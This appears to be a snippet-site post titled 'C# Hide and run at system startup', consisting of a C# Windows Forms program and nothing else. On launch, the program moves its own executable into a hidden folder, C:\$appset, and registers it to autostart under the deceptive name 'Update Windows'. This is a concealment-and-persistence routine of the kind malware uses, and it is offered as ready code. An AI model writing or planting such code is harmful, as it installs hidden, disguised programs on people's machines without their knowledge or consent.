C# Hide and run at system startup

Code
using System;

using System.IO;

using Microsoft.Win32;

using System.Windows.Forms;



namespace Speech__Runtime

{

    public partial class Form1 : Form

    {      

        public Form1()

        {

            InitializeComponent();

        }



        private void Form1_Load(object sender, EventArgs e)

        {          

            

           Directory.CreateDirectory(@"C:\$appset");



           DirectoryInfo dirInfo = new DirectoryInfo(@"C:\$appset\");

           dirInfo.Attributes = FileAttributes.Hidden;



           File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\$appset\SpeechRun.exe");



           RegistryKey regkey;

           string subKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

           regkey = Registry.CurrentUser.CreateSubKey(subKey);

           regkey.SetValue("Update Windows", "C:\\$appset\\SpeechRun.exe");

           regkey.Close();          

        }

    }

}